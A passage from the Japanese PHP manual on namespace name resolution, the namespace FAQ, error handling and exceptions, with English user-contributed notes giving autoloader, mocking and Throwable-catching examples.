            $thing = somethingThrowingAnException();
        } catch (\Exception $ex) {
              // This is now catched
        }
    }

}
xmarcos at gmail dot com 21-May-2012 07:08
That's the expected behavior, you have to declare the namespace at the top of the file to "extend" it.

If you include a global namespaced file, it will operate on the global namespace.
routinet 28-Aug-2011 11:22
Included files will default to the global namespace.
<?php
//test.php
namespace test {
  include 'test1.inc';
  echo '-',__NAMESPACE__,'-<br />';
}
?>

<?php
//test1.inc
  echo '-',__NAMESPACE__,'-<br />';
?>

Results of test.php:

--
-test-


名前空間の使用法: グローバル関数/定数への移行

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

名前空間内で、PHP が未定義のクラス名や関数、定数に出会った場合、 それぞれに応じて異なる優先順位で解決を行います。 クラス名は、常に現在の名前空間での名前として解釈されます。 したがって、内部クラスあるいは名前空間に属さないクラスにアクセスするには 次のように完全修飾名で指定しなければなりません。

例1 名前空間内からのグローバルクラスへのアクセス

<?php
namespace A\B\C;
class Exception extends \Exception {}

$a = new Exception('hi'); // $a は A\B\C\Exception クラスのオブジェクトです
$b = new \Exception('hi'); // $b は Exception クラスのオブジェクトです

$c = new ArrayObject; // fatal error, class A\B\C\ArrayObject not found
?>

関数や定数の場合、名前空間内にその関数や定数が見つからなければ PHP はグローバル関数/定数を探します。

例2 名前空間内からのグローバル関数/定数への移行

<?php
namespace A\B\C;

const E_ERROR = 45;
function strlen($str)
{
    return \strlen($str) - 1;
}

echo E_ERROR, "\n"; // "45" と表示します
echo INI_ALL, "\n"; // "7" と表示します - グローバルの INI_ALL に移行しました

echo strlen('hi'), "\n"; // "1" と表示します
if (is_array('hi')) { // "is not array" と表示します
    echo "is array\n";
} else {
    echo "is not array\n";
}
?>

User Contributed Notes

markus at malkusch dot de 04-Dec-2014 08:22
You can use the fallback policy to provide mocks for built-in functions like time(). You therefore have to call those functions unqualified:

<?php
namespace foo;

function time() {
    return 1234;
}

assert (1234 == time());
?>

However there's a restriction that you have to define the mock function before the first usage in the tested class method. This is documented in Bug #68541.

You can find the mock library php-mock at GitHub.


名前解決のルール

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

名前解決のルールを説明するにあたって、いくつかの重要な定義を示しておきます。

名前空間名の定義
非修飾名

これは名前空間区切り文字を含まない識別子で、Foo のようなものです。

修飾名

これは名前空間区切り文字を含む識別子で、Foo\Bar のようなものです。

完全修飾名

これは名前空間区切り文字を含む識別子のうち先頭が名前空間区切り文字で始まるもので、 \Foo\Bar のようなものです。名前空間 \Foo も完全修飾名です。

相対名

namespace\Foo\Bar のように、 namespace で始まる識別子です。

名前解決は、これらの解決ルールによって行われます。

  1. 完全修飾名は、先頭の名前空間区切り文字を除いた名前に常に解決されます。 たとえば、\A\B は A\B と解釈されます。
  2. 相対名は、namespace という名前を、 現在の名前空間に置き換えたものに常に解決されます。 現在の名前空間がグローバル名前空間だった場合、 namespace\ 名前空間は取り除かれます。 たとえば、名前空間 X\Y の中にある namespace\A は、 X\Y\A に解決されます。 グローバル名前空間の中にある同じ名前は、 A に解決されます。
  3. 修飾名の場合は、名前の最初の識別子を、 現在のクラス/名前空間のインポートテーブルに従って翻訳します。 たとえば、名前空間 A\B\C が C としてインポートされた場合、 C\D\E という名前は、 A\B\C\D\E と翻訳されます。
  4. 修飾名の場合で、適用すべきインポートルールがない場合、 現在の名前空間が名前の先頭に付加されます。 たとえば、名前空間 A\B の中にある C\D\E という名前は A\B\C\D\E に解決されます。
  5. 非修飾名の場合、名前はそれぞれのシンボルタイプの 現在のインポートテーブルに従って翻訳されます。 これは、クラスのような名前は、クラス/名前空間のインポートテーブルに従って 翻訳されるし、関数名は、関数のインポートテーブルに従うし、 定数は定数のインポートテーブルに従うということになります。 たとえば、use A\B\C; の後に、 new C() のようなことをすると、 C は A\B\C() に解決されます。 同じように、use function A\B\fn; の後に fn() のようなことをすると、 A\B\fn という名前に解決されます。
  6. 非修飾名について、適用すべきインポートルールが存在せず、 名前がクラスのようなシンボルを参照している場合、 現在の名前空間が先頭に付加されます。 たとえば、名前空間 A\B の内部にある new C() は、 A\B\C という名前に解決されます。
  7. 非修飾名について、適用すべきインポートルールが存在せず、 名前が関数や定数を参照しており、 コードがグローバル名前空間の外に存在する場合は 名前は実行時に解決されます。 コードが名前空間 A\B の中にあると仮定すると、 関数 foo() のコールは、次のように解決されます。
    1. まず現在の名前空間から関数 A\B\foo() を探します。
    2. 次に グローバル 関数 foo() を探します。

例1 名前解決の例

<?php
namespace A;
use B\D, C\E as F;

// 関数のコール

foo();      // まず名前空間 "A" で定義されている "foo" のコールを試み、
            // 次にグローバル関数 "foo" をコールします

\foo();     // グローバルスコープで定義されている関数 "foo" をコールします

my\foo();   // 名前空間 "A\my" で定義されている関数 "foo" をコールします

F();        // まず名前空間 "A" で定義されている "F" のコールを試み、
            // 次にグローバル関数 "F" をコールします

// クラスの参照

new B();    // 名前空間 "A" で定義されているクラス "B" のオブジェクトを作成します
            // 見つからない場合は、クラス "A\B" の autoload を試みます

new D();    // インポートルールを使用し、名前空間 "B" で定義されているクラス "D" のオブジェクトを作成します
            // 見つからない場合は、クラス "B\D" の autoload を試みます

new F();    // インポートルールを使用し、名前空間 "C" で定義されているクラス "E" のオブジェクトを作成します
            // 見つからない場合は、クラス "C\E" の autoload を試みます

new \B();   // グローバルスコープで定義されているクラス "B" のオブジェクトを作成します
            // 見つからない場合は、クラス "B" の autoload を試みます

new \D();   // グローバルスコープで定義されているクラス "D" のオブジェクトを作成します
            // 見つからない場合は、クラス "D" の autoload を試みます

new \F();   // グローバルスコープで定義されているクラス "F" のオブジェクトを作成します
            // 見つからない場合は、クラス "F" の autoload を試みます

// 別の名前空間から使用する静的メソッド/関数

B\foo();    // 名前空間 "A\B" の関数 "foo" をコールします

B::foo();   // 名前空間 "A" で定義されているクラス "B" のメソッド "foo" をコールします
            // クラス "A\B" が見つからない場合はクラス "A\B" の autoload を試みます

D::foo();   // インポートルールを使用し、名前空間 "B" で定義されているクラス "D" のメソッド "foo" をコールします
            // クラス "B\D" が見つからない場合はクラス "B\D" の autoload を試みます

\B\foo();   // 名前空間 "B" の関数 "foo" をコールします

\B::foo();  // グローバルスコープのクラス "B" のメソッド "foo" をコールします
            // クラス "B" が見つからない場合はクラス "B" の autoload を試みます

// 現在の名前空間から使用する静的メソッド/関数

A\B::foo();   // 名前空間 "A\A" のクラス "B" のメソッド "foo" をコールします
              // クラス "A\A\B" が見つからない場合はクラス "A\A\B" の autoload を試みます

\A\B::foo();  // 名前空間 "A" のクラス "B" のメソッド "foo" をコールします
              // クラス "A\B" が見つからない場合はクラス "A\B" の autoload を試みます
?>

User Contributed Notes

anrdaemon at freemail dot ru 12-Feb-2016 10:32
Namespaces may be case-insensitive, but autoloaders most often do.
Do yourself a service, keep your cases consistent with file names, and don't overcomplicate autoloaders beyond necessity.
Something like this should suffice for most times:

<?php

namespace org\example;

function spl_autoload($className)
{
  $file = new \SplFileInfo(__DIR__ . substr(strtr("$className.php", '\\', '/'), 11));
  $path = $file->getRealPath();
  if(empty($path))
  {
    return false;
  }
  else
  {
    return include_once $path;
  }
}

\spl_autoload_register('\org\example\spl_autoload');
?>
llmll 21-Dec-2014 01:05
The mentioned filesystem analogy fails at an important point:

Namespace resolution *only* works at declaration time. The compiler fixates all namespace/class references as absolute paths, like creating absolute symlinks.

You can't expect relative symlinks, which should be evaluated during access -> during PHP runtime.

In other words, namespaces are evaluated like __CLASS__ or self:: at parse-time. What's *not* happening, is the pendant for late static binding like static:: which resolves to the current class at runtime.

So you can't do the following:

namespace Alpha;
class Helper {
    public static $Value = "ALPHA";
}
class Base {
    public static function Write() {
        echo Helper::$Value;
    }
}

namespace Beta;
class Helper extends \Alpha\Helper {
    public static $Value = 'BETA';
}
class Base extends \Alpha\Base {}

\Beta\Base::Write(); // should write "BETA" as this is the executing namespace context at runtime.

If you copy the write() function into \Beta\Base it works as expected.
dn dot permyakov at gmail dot com 11-Jul-2014 10:02
Can someone explain to me -  why do we need p.4 if we have p.2 (which covers both unqualified and qualified names)?
CJ Taylor 14-Feb-2014 09:52
It took me playing with it a bit  as I had a hard time finding documentation on when a class name matches a namespace, if that's even legal and what behavior to expect.  It IS explained in #6 but I thought I'd share this with other souls like me that see it better by example.  Assume all 3 files below are in the same directory.

file1.php
<?php
namespace foo;

class foo {
  static function hello() {
    echo "hello world!";
  }
}
?>

file2.php
<?php
namespace foo;
include('file1.php');

foo::hello(); //you're in the same namespace, or scope.
\foo\foo::hello(); //called on a global scope.
?>

file3.php
<?php
include('file1.php');

foo\foo::hello(); //you're outside of the namespace
\foo\foo::hello(); //called on a global scope.
?>

Depending upon what you're building (example: a module, plugin, or package on a larger application), sometimes declaring a class that matches a namespace makes sense or may even be required.  Just be aware that if you try to reference any class that shares the same namespace, omit the namespace unless you do it globally like the examples above.

I hope this is useful, particularly for those that are trying to wrap your head around this 5.3 feature.
Kavoir.com 22-Jan-2014 10:25
For point 4, "In example, if the namespace A\B\C is imported as C" should be "In example, if the class A\B\C is imported as C".
kdimi 27-Oct-2010 06:35
If you like to declare an __autoload function within a namespace or class, use the spl_autoload_register() function to register it and it will work fine.
safakozpinar at NOSPAM dot gmail dot com 22-Oct-2010 01:04
As working with namespaces and using (custom or basic) autoload structure; magic function __autoload must be defined in global scope, not in a namespace, also not in another function or method.

<?php
namespace Glue {
    /**
     * Define your custom structure and algorithms
     * for autoloading in this class.
     */
    class Import
    {
        public static function load ($classname)
        {
            echo 'Autoloading class '.$classname."\n";
            require_once $classname.'.php';
        }
    }
}

/**
 * Define function __autoload in global namespace.
 */
namespace {

    function __autoload ($classname)
    {
        \Glue\Import::load($classname);
    }

}
?>
rangel 31-Jul-2009 12:48
The term "autoload" mentioned here shall not be confused with __autoload function to autoload objects. Regarding the __autoload and namespaces' resolution I'd like to share the following experience:

->Say you have the following directory structure:

- root
      | - loader.php
      | - ns
             | - foo.php

->foo.php

<?php
namespace ns;
class foo
{
    public $say;

    public function __construct()
    {
        $this->say = "bar";
    }

}
?>

-> loader.php

<?php
//GLOBAL SPACE <--
function __autoload($c)
{
    require_once $c . ".php";
}

class foo extends ns\foo // ns\foo is loaded here
{
    public function __construct()
    {
        parent::__construct();
        echo "<br />foo" . $this->say;
    }
}
$a = new ns\foo(); // ns\foo also loads ns/foo.php just fine here.
echo $a->say;   // prints bar as expected.
$b = new foo;  // prints foobar just fine.
?>

If you keep your directory/file matching namespace/class consistence the object __autoload works fine.
But... if you try to give loader.php a namespace you'll obviously get fatal errors.
My sample is just 1 level dir, but I've tested with a very complex and deeper structure. Hope anybody finds this useful.

Cheers!
rangel 31-Jul-2009 12:47
The term "autoload" mentioned here shall not be confused with __autoload function to autoload objects. Regarding the __autoload and namespaces' resolution I'd like to share the following experience:

->Say you have the following directory structure:

- root
      | - loader.php
      | - ns
             | - foo.php

->foo.php

<?php
namespace ns;
class foo
{
    public $say;

    public function __construct()
    {
        $this->say = "bar";
    }

}
?>

-> loader.php

<?php
//GLOBAL SPACE <--
function __autoload($c)
{
    require_once $c . ".php";
}

class foo extends ns\foo // ns\foo is loaded here
{
    public function __construct()
    {
        parent::__construct();
        echo "<br />foo" . $this->say;
    }
}
$a = new ns\foo(); // ns\foo also loads ns/foo.php just fine here.
echo $a->say;   // prints bar as expected.
$b = new foo;  // prints foobar just fine.
?>

If you keep your directory/file matching namespace/class consistence the object __autoload works fine.
But... if you try to give loader.php a namespace you'll obviously get fatal errors.
My sample is just 1 level dir, but I've tested with a very complex and deeper structure. Hope anybody finds this useful.

Cheers!


FAQ: 名前空間について知っておくべきこと

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

この FAQ は 2 つに別れています。一般的な質問と、 深く理解するために有用な実装に関する質問です。

まずは一般的な質問。

  1. 名前空間を使わない場合、 何か注意すべきことはありますか?
  2. 名前空間内での内部クラスあるいはグローバルクラスの使用法は?
  3. 同じ名前空間にあるクラス、関数あるいは定数を使用する方法は?
  4. \my\name や \name のような名前はどのように解決される?
  5. my\name のような名前はどのように解決される?
  6. 修飾されていない name のようなクラス名はどのように解決される?
  7. 修飾されていない name のような関数名/定数名はどのように解決される?

また、名前空間の実装を理解するために有用な実装の詳細は次のとおりです。

  1. インポートした名前が同一ファイルで定義されているクラスと衝突してはいけない
  2. 名前空間のネストはできない
  3. 動的な名前空間名 (クォートした名前) ではバックスラッシュのエスケープが必要
  4. バックスラッシュを含む未定義な定数を参照すると、致命的なエラーが発生する
  5. 特別な定数 NULL, TRUE, FALSE, ZEND_THREAD_SAFE そして ZEND_DEBUG_BUILD は上書きできない

名前空間を使わない場合、何か注意すべきことはありますか?

いいえ。これまで書いてきたコード、今後書く名前空間を含まないコードのいずれについても、 名前空間が何らかの影響を及ぼすことはありません。 お望みなら名前空間を使わないコードを書くこともできます。

例1 名前空間の外部にあるグローバルクラスへのアクセス

<?php
$a = new \stdClass;
?>

これは、機能的に次と同等です。

例2 名前空間の外部にあるグローバルクラスへのアクセス

<?php
$a = new stdClass;
?>

名前空間内での内部クラスあるいはグローバルクラスの使用法は?

例3 名前空間内からの内部クラスへのアクセス

<?php
namespace foo;
$a = new \stdClass;

function test(\ArrayObject $typehintexample = null) {}

$a = \DirectoryIterator::CURRENT_AS_FILEINFO;

// 内部クラス/グローバルクラスの継承
class MyException extends \Exception {}
?>

同じ名前空間にあるクラス、関数あるいは定数を使用する方法は?

例4 名前空間内のクラス、関数あるいは定数へのアクセス

<?php
namespace foo;

class MyClass {}

// 現在の名前空間のクラスをタイプヒントに使用する方法
function test(MyClass $typehintexample = null) {}
// 現在の名前空間のクラスをタイプヒントに使用するもうひとつの方法
function test(\foo\MyClass $typehintexample = null) {}

// 現在の名前空間のクラスの継承
class Extended extends MyClass {}

// グローバル関数へのアクセス
$a = \globalfunc();

// グローバル定数へのアクセス
$b = \INI_ALL;
?>

\my\name や \name のような名前はどのように解決される?

\ から始まる名前は常に見た目のままに解釈されます。 つまり \my\name は my\name であり、 \Exception は Exception となります。

例5 完全修飾名

<?php
namespace foo;
$a = new \my\name(); // "my\name" クラスのインスタンスを作成します
echo \strlen('hi'); // "strlen" 関数をコールします
$a = \INI_ALL; // $a に定数 "INI_ALL" の値を設定します
?>

my\name のような名前はどのように解決される?

名前にバックスラッシュを含むが先頭はバックスラッシュでない名前、たとえば my\name のような名前は 2 通りの方法で解釈されます。

別の名前に my というエイリアスを指定する import 文がある場合は、そのエイリアスが my\name の my 部分に適用されます。

それ以外の場合は、現在の名前空間が my\name の先頭に付け加えられます。

例6 修飾名

<?php
namespace foo;
use blah\blah as foo;

$a = new my\name(); // "foo\my\name" クラスのインスタンスを作成します
foo\bar::name(); // "blah\blah\bar" の静的メソッド "name" をコールします
my\bar(); // "foo\my\bar" 関数をコールします
$a = my\BAR; // $a に定数 "foo\my\BAR" の値を設定します
?>

修飾されていない name のようなクラス名はどのように解決される?

バックスラッシュを含まない name のようなクラス名は 2 通りの方法で解釈されます。

別の名前に name というエイリアスを指定する import 文がある場合は、そのエイリアスが適用されます。

それ以外の場合は、現在の名前空間が name の先頭に付け加えられます。

例7 非修飾クラス名

<?php
namespace foo;
use blah\blah as foo;

$a = new name(); // "foo\name" クラスのインスタンスを作成します
foo::name(); // "blah\blah" クラスの静的メソッド "name" をコールします
?>

修飾されていない name のような関数名/定数名はどのように解決される?

バックスラッシュを含まない name のような関数名/定数名は 2 通りの方法で解釈されます。

まず、現在の名前空間が name の先頭に付け加えられます。

現在の名前空間に name という関数あるいは定数がない場合は、 グローバル関数あるいは定数に name があればそれを使用します。

例8 非修飾関数/定数名

<?php
namespace foo;
use blah\blah as foo;

const FOO = 1;

function my() {}
function foo() {}
function sort(&$a)
{
    \sort($a); // グローバル関数 "sort" をコールします
    $a = array_flip($a);
    return $a;
}

my(); // "foo\my" をコールします
$a = strlen('hi'); // "foo\strlen" が存在しないので、グローバル関数 "strlen" をコールします
$arr = array(1,3,2);
$b = sort($arr); // "foo\sort" 関数をコールします
$c = foo(); // calls function "foo\foo" - import is not applied

$a = FOO; // sets $a to value of constant "foo\FOO" - import is not applied
$b = INI_ALL; // sets $b to value of global constant "INI_ALL"
?>

インポートした名前が同一ファイルで定義されているクラスと衝突してはいけない

次のようなスクリプトの組み合わせは、正当なものです。

file1.php

<?php
namespace my\stuff;
class MyClass {}
?>

another.php

<?php
namespace another;
class thing {}
?>

file2.php

<?php
namespace my\stuff;
include 'file1.php';
include 'another.php';

use another\thing as MyClass;
$a = new MyClass; // 名前空間 another のクラス "thing" のインスタンスを作成します。
?>

MyClass クラスが名前空間 my\stuff にあるとはいえ、名前の衝突はありません。 MyClass の定義は別のファイルにあるからです。 しかし、次の例は名前の衝突による致命的なエラーとなります。 MyClass の定義が同じファイル上の use 文で行われているからです。

<?php
namespace my\stuff;
use another\thing as MyClass;
class MyClass {} // fatal error: MyClass conflicts with import statement
$a = new MyClass;
?>

名前空間のネストはできない

PHP では名前空間のネストはできません。

<?php
namespace my\stuff {
    namespace nested {
        class foo {}
    }
}
?>
しかし、それっぽいことをするのは簡単です。次のようにすればいいのです。
<?php
namespace my\stuff\nested {
    class foo {}
}
?>

動的な名前空間名 (クォートした名前) ではバックスラッシュのエスケープが必要

バックスラッシュは文字列のエスケープ文字として使われることに注意しましょう。 文字列の中で使う際にはバックスラッシュを二重に書く必要があります。 そうしないと、予期せぬ結果を引き起こしてしまいます。

例9 ダブルクォートで囲んだ文字列内で名前空間名を扱う際の危険

<?php
$a = "dangerous\name"; // ダブルクォートの中では \n が改行文字になってしまいます!
$obj = new $a;

$a = 'not\at\all\dangerous'; // これなら大丈夫です
$obj = new $a;
?>
シングルクォートで囲んだ文字列内では、 バックスラッシュによるエスケープシーケンスをより安全に使うことができます。 しかし、文字列内では常にバックスラッシュをエスケープする習慣をつけておくことをお勧めします。

バックスラッシュを含む未定義な定数を参照すると、致命的なエラーが発生する

未定義の定数のうち FOO のような修飾されていないものは、 PHP が FOO を定数の値と解釈したという notice が発生します。 修飾あるいは完全修飾形式の定数、つまりバックスラッシュを含む定数の場合、 それが未定義なら致命的なエラーが発生します。

例10 未定義の定数

<?php
namespace bar;
$a = FOO; // notice - undefined constants "FOO" assumed "FOO";
$a = \FOO; // fatal error, undefined namespace constant FOO
$a = Bar\FOO; // fatal error, undefined namespace constant bar\Bar\FOO
$a = \Bar\FOO; // fatal error, undefined namespace constant Bar\FOO
?>

特別な定数 NULL, TRUE, FALSE, ZEND_THREAD_SAFE そして ZEND_DEBUG_BUILD は上書きできない

名前空間内で特別な組み込み定数を定義しようとすると、致命的なエラーが発生します。

例11 未定義の定数

<?php
namespace bar;
const NULL = 0; // 致命的なエラー
const true = 'stupid'; // これも、致命的なエラー
// etc.
?>

User Contributed Notes

shaun at slickdesign dot com dot au 04-Oct-2016 07:20
When creating classes or calling static methods from within namespaces using variables, you need to keep in mind that they require the full namespace in order for the appropriate class to be used; you CANNOT use an alias or short name, even if it is called within the same namespace. Neglecting to take this into account can cause your code to use the wrong class, throw a fatal missing class exception, or throw errors or warnings.

In these cases, you can use the magic constant __NAMESPACE__, or specify the full namespace and class name directly. The function class_exists also requires the full namespace and class name, and can be used to ensure that a fatal error won't be thrown due to missing classes.

<?php

namespace Foo;
class Bar {
    public static function test() {
        return get_called_class();
    }
}

namespace Foo\Foo;
class Bar extends \Foo\Bar {
}

var_dump( Bar::test() ); // string(11) "Foo\Foo\Bar"

$bar = 'Foo\Bar';
var_dump( $bar::test() ); // string(7) "Foo\Bar"

$bar = __NAMESPACE__ . '\Bar';
var_dump( $bar::test() ); // string(11) "Foo\Foo\Bar"

$bar = 'Bar';
var_dump( $bar::test() ); // FATAL ERROR: Class 'Bar' not found or Incorrect class \Bar used
teohad at NOSPAM dot gmail dot com 24-Apr-2016 09:02
[Editor's note: that behavior is caused by a bug in PHP 7.0, which has been fixed as of PHP 7.0.7.]

Regarding the entry "Import names cannot conflict with classes defined in the same file".
- I found that since PHP 7.0 this is no longer the case.
In PHP 7.0 you can have a class with a name that matches an imported class (or namespace or both at the same time).

<?php
namespace ns1 {
  class ns1 {
    public static function write() {
      echo "ns1\\ns1::write()\n";
    }
  }
}

namespace ns1\ns1 {
  class ns1c {
    public static function write() {
      echo "ns1\\ns1\\ns1c::write()\n";
    }
  }
}

namespace ns2 {
  use ns1\ns1 as ns1; // both a class in ns1, and a namespace ns1\ns1

  // the next class causes fatal error in php 5.6, not in 7.0
  class ns1 {
    public static function write() {
      echo "ns2\\ns1::write()\n";
    }
  }

  ns1::write(); // calls imported ns1\ns1::write()
  ns1\ns1c::write(); // calls imported ns1\ns1\ns1c::write()
  namespace\ns1::write(); // calls ns2\ns1::write()
}
?>
phpcoder 25-Mar-2015 01:01
Regarding "Neither functions nor constants can be imported via the use statement." Actually you can do it in PHP 5.6+:

<?php

// importing a function (PHP 5.6+)
use function My\Full\functionName;

// aliasing a function (PHP 5.6+)
use function My\Full\functionName as func;

// importing a constant (PHP 5.6+)
use const My\Full\CONSTANT;
?>
okaresz 25-Jul-2013 08:31
To correct manolachef's answer: define() ALWAYS defines constants in the GLOBAL namespace.

As nl-x at bita dot nl states in the note at http://www.php.net/manual/en/function.define.php, the constant "NULL" can be defined with define() case-sensitively, but can only be retrieved with constant(), leaving the meaning of NULL uppercase keyword as the only value of the type null.
manolachef at gmail dot com 10-Apr-2012 02:32
There is a way to define a namespaced constant that is a special, built-in constant, using define function and setting the third parameter case_insensitive to false:

<?php
namespace foo;
define(__NAMESPACE__ . '\NULL', 10); // defines the constant NULL in the current namespace
var_dump(NULL); // will show 10
var_dump(null); // will show NULL
?>

  No need to specify the namespace in your call to define(), like it happens usually
<?php
namespace foo;
define(INI_ALL, 'bar'); // produces notice - Constant INI_ALL already defined. But:

define(__NAMESPACE__ . '\INI_ALL', 'bar'); // defines the constant INI_ALL in the current namespace
var_dump(INI_ALL); // will show string(3)"bar". Nothing unespected so far. But:

define('NULL', 10); // defines the constant NULL in the current namespace...
var_dump(NULL); // will show 10
var_dump(null); // will show NULL
?>

  If the parameter case_insensitive is set to true
<?php
namespace foo;
define (__NAMESPACE__ . '\NULL', 10, true); // produces notice - Constant null already defined
?>


エラー

目次

  • 基本
  • PHP 7 でのエラー

はじめに

残念ながら、どんなに気をつけてコードを書いたところで、 エラーをなくすことはできません。 PHP は、コーディングや実行時に発生する問題を、 エラー (error) や警告 (warning) そして注意 (notice) などの形式で報告します。 これらの報告を検出して処理する方法を知っておけば、 デバッグがずっと楽になることでしょう。

User Contributed Notes

There are no user contributed notes for this page.


基本

PHP は、各種のエラー条件に対応したさまざまなエラーを報告します。 これらを使えばさまざまな状況を伝えられるでしょうし、 必要に応じて画面に表示したりログに記録したりすることもできます。

PHP が発するあらゆるエラーには、型情報が含まれます。 エラーに関する定数の一覧 を参照ください。 それぞれについての簡単な説明と、どのような原因で発生するのかについても説明があります。

PHP におけるエラー処理

何もエラーハンドラを設定しなければ、PHP は、 発生したあらゆるエラーを設定にあわせて処理します。 どのエラーを報告してどのエラーを無視するのかを決めるのが、php.ini の error_reporting です。あるいは、実行時に error_reporting() を呼んで設定することもできます。 しかし、できるだけ php.ini で設定しておくことをお勧めします。 というのも、スクリプトの実行が始まるまえにエラーが発生することもありえるからです。

開発中は常に、 error_reporting を E_ALL にしておくべきです。 PHP が発する報告をすべて確認して対応する必要があるからです。 実際の運用に入ったら、もう少しレベルを下げて E_ALL & ~E_NOTICE & ~E_STRICT & ~E_DEPRECATED などのようにすることもあるでしょう。しかし、できれば運用中も E_ALL にしておきたいものです。 そうすれば、何かの問題が発生しそうなときに早い段階で気づけるからです。

エラーが発生したときの PHP の挙動を決める php.ini 設定項目が、あと二つあります。 ひとつは display_errors で、これは、エラーの内容をスクリプトの出力に含めるかどうかを設定します。 この項目は、運用時には常に無効にしておくべきです。 エラーメッセージの中には、データベースのパスワードなどの機密情報が含まれることもありえるからです。 しかし、開発中は有効にしておくほうが便利です。 どこに問題があるのかに、すぐに気づけるからです。

もうひとつの項目が log_errors で、これを有効にしておくと、PHP はエラーをログに記録します。 発生したすべてのエラーが、 error_log で定義した場所 (ファイルや syslog など) に書き出されます。 これは、運用環境で特に役立ちます。 発生したエラーを記録しておけば、後でそれを使ってレポートを生成できるからです。

ユーザー定義のエラーハンドラ

PHP のデフォルトのエラー処理では不十分な場合は、 自作のエラーハンドラを用意して、それを set_error_handler() で設定することもできます。 中にはこの方式では処理できない型のエラーもありますが、 処理できる型のエラーについてはこの方法が便利です。 たとえば、ユーザー向けにはカスタムエラーページを表示して、 内部的にはログに書き出すかわりにメールを送るなどとすることもできます。

User Contributed Notes

There are no user contributed notes for this page.


PHP 7 でのエラー

PHP 7 は大半のエラーがどのようにPHPから報告されるかを変更しています。 PHP 5 で使われていたこれまでのエラー報告メカニズムを使うかわりに、 大半のエラーを Error 例外としてスローするようになったのです。

通常の例外と同様、Error 例外も、 最初にマッチした catch ブロックで現れます。 マッチするブロックがなければ、set_exception_handler() で設定したデフォルトの例外ハンドラが呼ばれます。 デフォルトの例外ハンドラもない場合は、例外が fatal error に変換されて、 これまでのバージョンのエラーと同じように扱われます。

Error クラスは Exception を継承していないので、 キャッチし損ねた例外を catch (Exception $e) { ... } ブロックで受け止めているような PHP 5 のコードでは、 Error をキャッチできません。 catch (Error $e) { ... } ブロックを用意するか、あるいは set_exception_handler() でハンドラを設定する必要があります。

Error の階層

  • Throwable
    • Error
      • ArithmeticError
        • DivisionByZeroError
      • AssertionError
      • CompileError
        • ParseError
      • TypeError
        • ArgumentCountError
      • ValueError
      • UnhandledMatchError
    • Exception
      • ...

User Contributed Notes

diogoca at gmail dot com 24-Nov-2019 02:38
<?php

set_error_handler(function(int $number, string $message) {
   echo "Handler captured error $number: '$message'" . PHP_EOL  ;
});

try {
    echo $x; # notice, handled on callable
    pg_exec(null, null); # warning, handled on callable
    fho(); # fatal error, stop running and catched
} catch (Throwable $e) {
    echo "Captured Throwable: " . $e->getMessage() . PHP_EOL;
}

?>

set_error_handler will also works without try and catch
ryan dot jentzsch@{gmail} dot com 08-Aug-2017 09:41
An excellent blog post on the difference between exceptions, throwables and how PHP 7 handles these can be found here: https://trowski.com/2015/06/24/throwable-exceptions-and-errors-in-php7/
lubaev dot ka at gmail dot com 01-Dec-2016 05:16
php 7.1

try {
   // Code that may throw an Exception or ArithmeticError.
} catch (ArithmeticError | Exception $e) {
   // pass
}
demis dot palma at tiscali dot it 26-Jul-2016 11:04
Throwable does not work on PHP 5.x.

To catch both exceptions and errors in PHP 5.x and 7, add a catch block for Exception AFTER catching Throwable first.
Once PHP 5.x support is no longer needed, the block catching Exception can be removed.

try
{
   // Code that may throw an Exception or Error.
}
catch (Throwable $t)
{
   // Executed only in PHP 7, will not match in PHP 5
}
catch (Exception $e)
{
   // Executed only in PHP 5, will not be reached in PHP 7
}
hungry dot rahly at gmail dot com 08-Jan-2016 12:26
You can catch both exceptions and errors by catching(Throwable)


例外(exceptions)

目次

  • 例外を拡張する

PHP は、他のプログラミング言語に似た例外モデルを有しています。 PHP 内で例外が投げられ (throw され)、それが 捕捉され (catch され) ます。発生した例外を 捕捉するには、コードを try ブロックで囲みます。 各 try ブロックには、対応する catch ブロックあるいは finally ブロックが存在する必要があります。

例外がスローされ、現在の関数スコープに catch ブロックがなかった場合、 その例外は、マッチする catch ブロックが見つかるまで関数のコールスタックを "遡って" いきます。 その途中で見つかった全ての finally ブロックが実行されます。 グローバルスコープに遡るまで全てのコールスタックを探しても、 マッチする catch ブロックが見つからない場合は、 グローバルな例外ハンドラが設定されていない限り Fatal Error となり、 プログラムが終了します。

スローされるオブジェクトは、Exception クラスあるいは Exception のサブクラスのインスタンスでなければなりません。 それ以外のオブジェクトをスローしようとすると PHP の Fatal Error が発生します。

PHP 8.0.0 以降では、throw キーワードは式として扱えるようになり、 様々なコンテクストで使えるようになりました。 これより前のバージョンでは、throw は文であり、 それが現れる行でだけでしか使えませんでした。

catch

catch ブロックは、スローされた例外にどのように反応するかを定義します。 catch ブロックは、扱えるひとつ以上の例外またはエラー型を定義します。 そして、オプションで例外を代入できる変数も定義できます。 (PHP 8.0.0 より前のバージョンでは、この変数定義は必須です) スローされた例外またはエラーにマッチする最初の catch ブロックが、そのオブジェクトを処理します。

さまざまな型の例外を捕捉するために 複数の catch フロックを使用することができます。 通常の実行時 (try ブロック内で例外が投げられなかった 場合) は、catch ブロック内は処理されず、それ以降から処理が続けられます。 catch ブロックの中から例外を throw する (あるいは throw しなおす) こともできます。 throw し直さない場合、その catch ブロックの後から処理が続けられます。

例外が投げられた場合、その命令に続くコードは実行されず、 PHP は最初にマッチする catch ブロックを探します。 例外が捕捉されない場合、PHP は "Uncaught Exception ..." というメッセージとともに 致命的なエラー(fatal error)を発行します。 ただし、set_exception_handler() でハンドラが 定義されている場合を除きます。

PHP 7.1.0 以降では、catch ブロック で 複数の例外を パイプ文字 (|) を使って指定できるようになりました。 これは、異なるクラス改装からの例外を同時に扱う必要がある場合に有用です。

PHP 8.0.0 以降では、キャッチされた例外に対応する変数はオプションになりました。 指定されない場合、catch ブロックは実行されるものの、 投げられたオブジェクトへアクセスすることは出来ません。

finally ブロックと return 文の間には注意すべき相互作用があります。 return 文が try や catch ブロックの内部に存在した場合でも、 finally ブロックは実行されます。 さらに、return 文は出現した時に評価されますが、 結果は finally ブロックが実行された後に返されます。 さらに、finally ブロックにも return 文が存在した場合は、 finally ブロックから値が返されます。

finally

catch ブロックの後に finally ブロックも指定できます。 finally ブロックの何かに書いたコードは、 try および catch ブロックの後で常に実行されます。 例外がスローさされたかどうかには関係ありません。

グローバルな例外ハンドラ

